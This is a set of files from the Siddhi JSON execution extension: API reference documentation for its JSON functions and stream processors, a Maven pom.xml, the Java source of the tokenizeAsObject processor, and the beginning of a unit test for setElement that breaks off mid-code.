``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used get the value against the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to get the object from given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:getObject(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding object to the given path</p> ### getString *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the string value of Json element corresponding to the given path.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <STRING> json:getString(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used get the value against the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to get the value from given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:getString(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding string value to the given path</p> ### isExists *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method allows to check whether there is any json element in the given path or not. If there is a valid json element in the given path, it will return true. If there is no valid json element, it will return false</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <BOOL> json:isExists(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used to search the element with the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to search in the given input json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:isExists(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the true/false based existence of the given path</p> ### setElement *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method allows to insert elements to the given json based on the specified path. If there is no valid path given, it will return the original json. Otherwise it will return the new json</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:setElement(<STRING|OBJECT> json, <STRING> path, <STRING|BOOL|DOUBLE|FLOAT|INT|LONG|OBJECT> jsonelement, <STRING> key) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used to insert the given value</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to insert the given element to the input json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">jsonelement</td> <td style="vertical-align: top; word-wrap: break-word">The json element which is inserted into the given input json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>BOOL<br>DOUBLE<br>FLOAT<br>INT<br>LONG<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">key</td> <td style="vertical-align: top; word-wrap: break-word">The key which is used to insert the given element to the input json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:setElement(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding json object based on the given path and json element</p> ### toObject *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the json object related to given json string.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:toObject(<STRING> json) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">A valid json string which is used to generate the returned json object</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:toJson(json) as jsonObject insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the json object related to given json string</p> ### toString *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the json string related to given json object.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <STRING> json:toString(<OBJECT> json) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">A valid json object which is used to generate the json string</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:toString(json) as jsonString insert into OutputStream; ``` <p style="word-wrap: break-word">This will return a json string related to given json object</p> ### tokenize *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#stream-processor">(Stream Processor)</a>* <p style="word-wrap: break-word">This will tokenize the given json according the path provided</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` json:tokenize(<STRING|OBJECT> json, <STRING> path, <BOOL> fail.on.missing.attribute) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The input json which should be tokenized using the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to tokenize the given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">fail.on.missing.attribute</td> <td style="vertical-align: top; word-wrap: break-word">This can either have value true or false. By default it will be true. If the specified path does not provide any json, it will return null. In this scenario users can drop or keep the event with 'null' value using this attribute. If this parameter is 'true', it will generate events with the 'null' value</td> <td style="vertical-align: top">true</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="extra-return-attributes" class="md-typeset" style="display: block; font-weight: bold;">Extra Return Attributes</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Possible Types</th> </tr> <tr> <td style="vertical-align: top">jsonElement</td> <td style="vertical-align: top; word-wrap: break-word">The json element retrieved based on the given path and the json</td> <td style="vertical-align: top">STRING</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream (json string,path string); @info(name = 'query1') from InputStream#json:tokenize(json, path) select jsonElement insert into OutputStream; ``` <p style="word-wrap: break-word">This query performs tokenization for the given json using the path specified. If the specified path provides json array, it will generate events for each elements in specified json array by adding additional attribute as the 'jsonElement' into the stream<br><code>Eg:- jsonInput - {name:"John",enrolledSubjects:["Mathematics","Physics"]}, path - "$.enrolledSubjects" </code><br>It we use configuration like above example, it will generate two events with the attributes "Mathematics", "Physics".<br>If the specified path provides a single json element, it will add the specified json element as a additional attribute named 'jsonElement' into the stream <br><code> Eg:- jsonInput - {name:"John",age:25}, path - "$.age" </code><br></p> ### tokenizeAsObject *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#stream-processor">(Stream Processor)</a>* <p style="word-wrap: break-word">This will tokenize the given json according the path provided and return the response as object</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` json:tokenizeAsObject(<STRING|OBJECT> json, <STRING> path, <BOOL> fail.on.missing.attribute) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The input json which should be tokenized using the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to tokenize the given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">fail.on.missing.attribute</td> <td style="vertical-align: top; word-wrap: break-word">This can either have value true or false. By default it will be true. If the specified path does not provide any json, it will return null. In this scenario users can drop or keep the event with 'null' value using this attribute. If this parameter is 'true', it will generate events with the 'null' value</td> <td style="vertical-align: top">true</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="extra-return-attributes" class="md-typeset" style="display: block; font-weight: bold;">Extra Return Attributes</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Possible Types</th> </tr> <tr> <td style="vertical-align: top">jsonElement</td> <td style="vertical-align: top; word-wrap: break-word">The json element retrieved based on the given path and the json</td> <td style="vertical-align: top">OBJECT</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream (json string,path string); @info(name = 'query1') from InputStream#json:tokenizeAsObject(json, path) select jsonElement insert into OutputStream; ``` <p style="word-wrap: break-word">This query performs tokenization for the given json using the path specified. If the specified path provides json array, it will generate events for each elements in specified json array by adding additional attribute as the 'jsonElement' into the stream<br><code>Eg:- jsonInput - {name:"John",enrolledSubjects:["Mathematics","Physics"]}, path - "$.enrolledSubjects" </code><br>It we use configuration like above example, it will generate two events with the attributes "Mathematics", "Physics".<br>If the specified path provides a single json element, it will add the specified json element as a additional attribute named 'jsonElement' into the stream <br><code> Eg:- jsonInput - {name:"John",age:25}, path - "$.age" </code><br></p> <file_sep><?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <groupId>org.wso2</groupId> <artifactId>wso2</artifactId> <version>5</version> </parent> <groupId>io.siddhi.extension.execution.json</groupId> <artifactId>siddhi-execution-json-parent</artifactId> <version>2.0.11-SNAPSHOT</version> <name>Siddhi Execution Extension - Json Parent</name> <modelVersion>4.0.0</modelVersion> <packaging>pom</packaging> <profiles> <profile> <id>default</id> <activation> <activeByDefault>true</activeByDefault> </activation> <modules> <module>component</module> </modules> </profile> </profiles> <properties> <siddhi.version>5.1.21</siddhi.version> <siddhi.version.range>[5.0.0,6.0.0)</siddhi.version.range> <log4j.version>2.17.1</log4j.version> <com.jayway.jsonpath.version>2.2.0</com.jayway.jsonpath.version> <testng.version>6.11</testng.version> <jacoco.maven.version>0.7.8</jacoco.maven.version> </properties> <scm> <connection>scm:git:https://github.com/wso2-extensions/siddhi-execution-json.git</connection> <url>https://github.com/wso2-extensions/siddhi-execution-json.git</url> <developerConnection>scm:git:https://github.com/wso2-extensions/siddhi-execution-json.git </developerConnection> <tag>HEAD</tag> </scm> <dependencyManagement> <dependencies> <dependency> <groupId>io.siddhi</groupId> <artifactId>siddhi-core</artifactId> <version>${siddhi.version}</version> </dependency> <dependency> <groupId>io.siddhi</groupId> <artifactId>siddhi-query-api</artifactId> <version>${siddhi.version}</version> </dependency> <dependency> <groupId>com.jayway.jsonpath</groupId> <artifactId>json-path</artifactId> <version>${com.jayway.jsonpath.version}</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>${log4j.version}</version> <exclusions> <exclusion> <groupId>javax.mail</groupId> <artifactId>mail</artifactId> </exclusion> <exclusion> <groupId>javax.jms</groupId> <artifactId>jms</artifactId> </exclusion> <exclusion> <groupId>com.sun.jdmk</groupId> <artifactId>jmxtools</artifactId> </exclusion> <exclusion> <groupId>com.sun.jmx</groupId> <artifactId>jmxri</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.testng</groupId> <artifactId>testng</artifactId> <version>${testng.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.jacoco</groupId> <artifactId>org.jacoco.agent</artifactId> <classifier>runtime</classifier> <version>${jacoco.maven.version}</version> </dependency> </dependencies> </dependencyManagement> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-release-plugin</artifactId> <configuration> <preparationGoals>clean install -Pdocumentation-deploy</preparationGoals> <autoVersionSubmodules>true</autoVersionSubmodules> </configuration> </plugin> </plugins> </build> </project> <file_sep>/* * Copyright (c) 2018, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package io.siddhi.extension.execution.json; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.jayway.jsonpath.InvalidJsonException; import com.jayway.jsonpath.JsonPath; import com.jayway.jsonpath.PathNotFoundException; import io.siddhi.annotation.Example; import io.siddhi.annotation.Extension; import io.siddhi.annotation.Parameter; import io.siddhi.annotation.ParameterOverload; import io.siddhi.annotation.ReturnAttribute; import io.siddhi.annotation.util.DataType; import io.siddhi.core.config.SiddhiQueryContext; import io.siddhi.core.event.ComplexEventChunk; import io.siddhi.core.event.stream.MetaStreamEvent; import io.siddhi.core.event.stream.StreamEvent; import io.siddhi.core.event.stream.StreamEventCloner; import io.siddhi.core.event.stream.holder.StreamEventClonerHolder; import io.siddhi.core.event.stream.populater.ComplexEventPopulater; import io.siddhi.core.exception.SiddhiAppRuntimeException; import io.siddhi.core.executor.ConstantExpressionExecutor; import io.siddhi.core.executor.ExpressionExecutor; import io.siddhi.core.query.processor.ProcessingMode; import io.siddhi.core.query.processor.Processor; import io.siddhi.core.query.processor.stream.StreamProcessor; import io.siddhi.core.util.config.ConfigReader; import io.siddhi.core.util.snapshot.state.State; import io.siddhi.core.util.snapshot.state.StateFactory; import io.siddhi.query.api.definition.AbstractDefinition; import io.siddhi.query.api.definition.Attribute; import io.siddhi.query.api.exception.SiddhiAppValidationException; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.util.ArrayList; import java.util.List; import java.util.Map; /** * This class provides implementation for tokenizing the given json based on a specific path. */ @Extension( name = "tokenizeAsObject", namespace = "json", description = "Stream processor tokenizes the given JSON into to multiple JSON object elements and " + "sends them as separate events.", parameters = { @Parameter( name = "json", description = "The input JSON that needs to be tokenized.", type = {DataType.STRING, DataType.OBJECT}, dynamic = true), @Parameter( name = "path", description = "The path of the set of elements that will be tokenized.", type = {DataType.STRING}, dynamic = true), @Parameter( name = "fail.on.missing.attribute", description = "If there are no element on the given path, when set to `true` the system " + "will drop the event, and when set to `false` the system will pass 'null' value to " + "the jsonElement output attribute.", type = {DataType.BOOL}, optional = true, defaultValue = "true") }, parameterOverloads = { @ParameterOverload(parameterNames = {"json", "path"}), @ParameterOverload(parameterNames = {"json", "path", "fail.on.missing.attribute"}) }, returnAttributes = { @ReturnAttribute( name = "jsonElement", description = "The JSON element retrieved based on the given path will be returned " + "as a JSON object. If the 'path' selects a JSON array then the system returns each " + "element in the array as a JSON object via a separate events.", type = {DataType.OBJECT})}, examples = { @Example( syntax = "define stream InputStream (json string, path string);\n\n" + "@info(name = 'query1')\n" + "from InputStream#json:tokenizeAsObject(json, path)\n" + "select path, jsonElement\n" + "insert into OutputStream;", description = "If the input 'json' is `{name:'John', enrolledSubjects:['Mathematics'," + " 'Physics']}`, and the 'path' is passed as `$.enrolledSubjects` then for both the " + "elements in the selected JSON array, it generates it generates events as " + "`('$.enrolledSubjects', 'Mathematics')`, and " + "`('$.enrolledSubjects', 'Physics')`.\n" + "For the same input JSON, if the 'path' is passed as `$.name` then it will only " + "produce one event `('$.name', 'John')` as the 'path' provided a single JSON element." ), @Example( syntax = "define stream InputStream (json string, path string);\n\n" + "@info(name = 'query1')\n" + "from InputStream#json:tokenizeAsObject(json, path, true)\n" + "select path, jsonElement\n" + "insert into OutputStream;", description = "If the input 'json' is `{name:'John', age:25}`," + "and the 'path' is passed as `$.salary` then the system will produce " + "`('$.salary', null)`, as the 'fail.on.missing.attribute' is `true` and there are " + "no matching element for `$.salary`." ) } ) public class JsonTokenizerAsObjectStreamProcessorFunction extends StreamProcessor<State> { private static final Logger log = LogManager.getLogger(JsonTokenizerAsObjectStreamProcessorFunction.class); private static final Gson gson = new GsonBuilder().serializeNulls().create(); private boolean failOnMissingAttribute = true; @Override protected void process(ComplexEventChunk<StreamEvent> streamEventChunk, Processor nextProcessor, StreamEventCloner streamEventCloner, ComplexEventPopulater complexEventPopulater, State state) { ComplexEventChunk<StreamEvent> outputChunk = new ComplexEventChunk<>(); while (streamEventChunk.hasNext()) { StreamEvent streamEvent = streamEventChunk.next(); Object jsonInput = attributeExpressionExecutors[0].execute(streamEvent); String path = (String) attributeExpressionExecutors[1].execute(streamEvent); Object filteredJsonElements; try { if (jsonInput instanceof String) { filteredJsonElements = JsonPath.read((String) jsonInput, path); } else { filteredJsonElements = JsonPath.read(gson.toJson(jsonInput), path); } } catch (PathNotFoundException e) { filteredJsonElements = null; log.warn(siddhiQueryContext.getSiddhiAppContext().getName() + ":" + siddhiQueryContext.getName() + ": Cannot find json element for the path '" + path + "' in the input json : " + jsonInput); } catch (InvalidJsonException e) { throw new SiddhiAppRuntimeException("The input JSON is not a valid JSON. Input JSON - " + jsonInput, e); } if (filteredJsonElements instanceof List) { List filteredJsonElementsList = (List) filteredJsonElements; if (((List) filteredJsonElements).size() == 0 && !failOnMissingAttribute) { Object[] data = {null}; complexEventPopulater.populateComplexEvent(streamEvent, data); outputChunk.add(streamEvent); } else { for (Object filteredJsonElement : filteredJsonElementsList) { Object[] data = {filteredJsonElement}; StreamEvent aStreamEvent = streamEventCloner.copyStreamEvent(streamEvent); complexEventPopulater.populateComplexEvent(aStreamEvent, data); outputChunk.add(aStreamEvent); } } } else if (filteredJsonElements instanceof Map) { Object[] data = {filteredJsonElements}; complexEventPopulater.populateComplexEvent(streamEvent, data); outputChunk.add(streamEvent); } else if (filteredJsonElements instanceof String || filteredJsonElements == null) { if (!failOnMissingAttribute || filteredJsonElements != null) { Object[] data = {filteredJsonElements}; complexEventPopulater.populateComplexEvent(streamEvent, data); outputChunk.add(streamEvent); } } } if (outputChunk.getFirst() != null) { nextProcessor.process(outputChunk); } } /** * The initialization method for {@link StreamProcessor}, which will be called before other methods and validate * the all configuration and getting the initial values. * * @param metaStreamEvent the stream event meta * @param abstractDefinition the incoming stream definition * @param expressionExecutors the executors for the function parameters * @param configReader this hold the Stream Processor configuration reader. * @param streamEventClonerHolder streamEventCloner Holder * @param outputExpectsExpiredEvents whether output can be expired events * @param findToBeExecuted find will be executed * @param siddhiQueryContext current siddhi query context */ @Override protected StateFactory<State> init(MetaStreamEvent metaStreamEvent, AbstractDefinition abstractDefinition, ExpressionExecutor[] expressionExecutors, ConfigReader configReader, StreamEventClonerHolder streamEventClonerHolder, boolean outputExpectsExpiredEvents, boolean findToBeExecuted, SiddhiQueryContext siddhiQueryContext) { if (attributeExpressionExecutors.length == 2 || attributeExpressionExecutors.length == 3) { if (attributeExpressionExecutors[0] == null) { throw new SiddhiAppValidationException("Invalid input given to first argument 'json' of " + "json:tokenizeAsObject() function. Input for 'json' argument cannot be null"); } Attribute.Type firstAttributeType = attributeExpressionExecutors[0].getReturnType(); if (!(firstAttributeType == Attribute.Type.STRING || firstAttributeType == Attribute.Type.OBJECT)) { throw new SiddhiAppValidationException("Invalid parameter type found for first argument 'json' of " + "json:tokenizeAsObject() function, required " + Attribute.Type.STRING + " or " + Attribute.Type .OBJECT + ", but found " + firstAttributeType.toString()); } if (attributeExpressionExecutors[1] == null) { throw new SiddhiAppValidationException("Invalid input given to second argument 'path' of " + "json:tokenizeAsObject() function. Input 'path' argument cannot be null"); } Attribute.Type secondAttributeType = attributeExpressionExecutors[1].getReturnType(); if (secondAttributeType != Attribute.Type.STRING) { throw new SiddhiAppValidationException("Invalid parameter type found for second argument 'path' of " + "json:tokenizeAsObject() function, required " + Attribute.Type.STRING + ", but found " + secondAttributeType.toString()); } if (attributeExpressionExecutors.length == 3) { if (attributeExpressionExecutors[2].getReturnType() == Attribute.Type.BOOL) { this.failOnMissingAttribute = (Boolean) ((ConstantExpressionExecutor) attributeExpressionExecutors[2]).getValue(); } else { throw new SiddhiAppValidationException("Invalid parameter type found for second argument 'path' " + "of json:tokenizeAsObject() function, required " + Attribute.Type.BOOL + ", but found " + attributeExpressionExecutors[2].getReturnType()); } } } else { throw new SiddhiAppValidationException("Invalid no of arguments passed to json:tokenizeAsObject() function," + "required 2, but found " + attributeExpressionExecutors.length); } return null; } /** * This will be called only once and this can be used to acquire * required resources for the processing element. * This will be called after initializing the system and before * starting to process the events. */ @Override public void start() { } /** * This will be called only once and this can be used to release * the acquired resources for processing. * This will be called before shutting down the system. */ @Override public void stop() { } @Override public List<Attribute> getReturnAttributes() { List<Attribute> attributes = new ArrayList<>(); attributes.add(new Attribute("jsonElement", Attribute.Type.OBJECT)); return attributes; } @Override public ProcessingMode getProcessingMode() { return ProcessingMode.BATCH; } } <file_sep>/* * Copyright (c) 2018, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package io.siddhi.extension.execution.json; import io.siddhi.core.SiddhiAppRuntime; import io.siddhi.core.SiddhiManager; import io.siddhi.core.event.Event; import io.siddhi.core.query.output.callback.QueryCallback; import io.siddhi.core.stream.input.InputHandler; import io.siddhi.core.util.EventPrinter; import net.minidev.json.JSONObject; import net.minidev.json.parser.JSONParser; import net.minidev.json.parser.ParseException; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.testng.AssertJUnit; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; import java.util.concurrent.atomic.AtomicInteger; public class SetElementJSONFunctionTestCase { private static final Logger log = LogManager.getLogger(SetElementJSONFunctionTestCase.class); private static final String JSON_INPUT = "{name:\"John\", married:true, citizen:false, subjects:[\"Mathematics\"]}"; private static final String EXPECTED_JSON = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"key\":{\"key\":\"value\"}}"; private AtomicInteger count = new AtomicInteger(0); @BeforeMethod public void init() { count.set(0); } @Test public void testInsertTOJSONWithStringInput() throws InterruptedException, ParseException { log.info("SetElementJSONFunctionTestCase - testInsertTOJSONWithStringInput"); String expectedJson2 = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"key\":{\"key\":\"value\",\"age\":\"25\",\"boo\":\"false\"}}"; String expectedJson3 = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"key\":{\"key\":\"value\",\"age\":25.0,\"boo\":false}}"; String expectedJson4 = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"key\":\"25\"}"; String expectedJson5 = "{\"name\":\"John\",\"married\":true,\"citizen\":false," + "\"subjects\":[\"Mathematics\"],\"key\":\"false\"}"; SiddhiManager siddhiManager = new SiddhiManager(); String stream = "define stream InputStream(json string,path string,jsonElement string,key string);\n"; String query = ("@info(name = 'query1')\n" + "from InputStream\n" + "select json:setElement(json,path,jsonElement,key) as married\n" + "insert into OutputStream;"); SiddhiAppRuntime siddhiAppRuntime = siddhiManager.createSiddhiAppRuntime(stream + query); JSONParser jsonParser = new JSONParser(JSONParser.DEFAULT_PERMISSIVE_MODE); JSONObject expectedJsonObject1 = (JSONObject) jsonParser.parse(EXPECTED_JSON); JSONObject expectedJsonObject2 = (JSONObject) jsonParser.parse(expectedJson2); JSONObject expectedJsonObject3 = (JSONObject) jsonParser.parse(expectedJson3); JSONObject expectedJsonObject4 = (JSONObject) jsonParser.parse(expectedJson4); JSONObject expectedJsonObject5 = (JSONObject) jsonParser.parse(expectedJson5); siddhiAppRuntime.addCallback("query1", new QueryCallback() { @Override public void receive(long timeStamp, Event[] inEvents, Event[] removeEvents) { EventPrinter.print(timeStamp, inEvents, removeEvents); for (Event event : inEvents) { 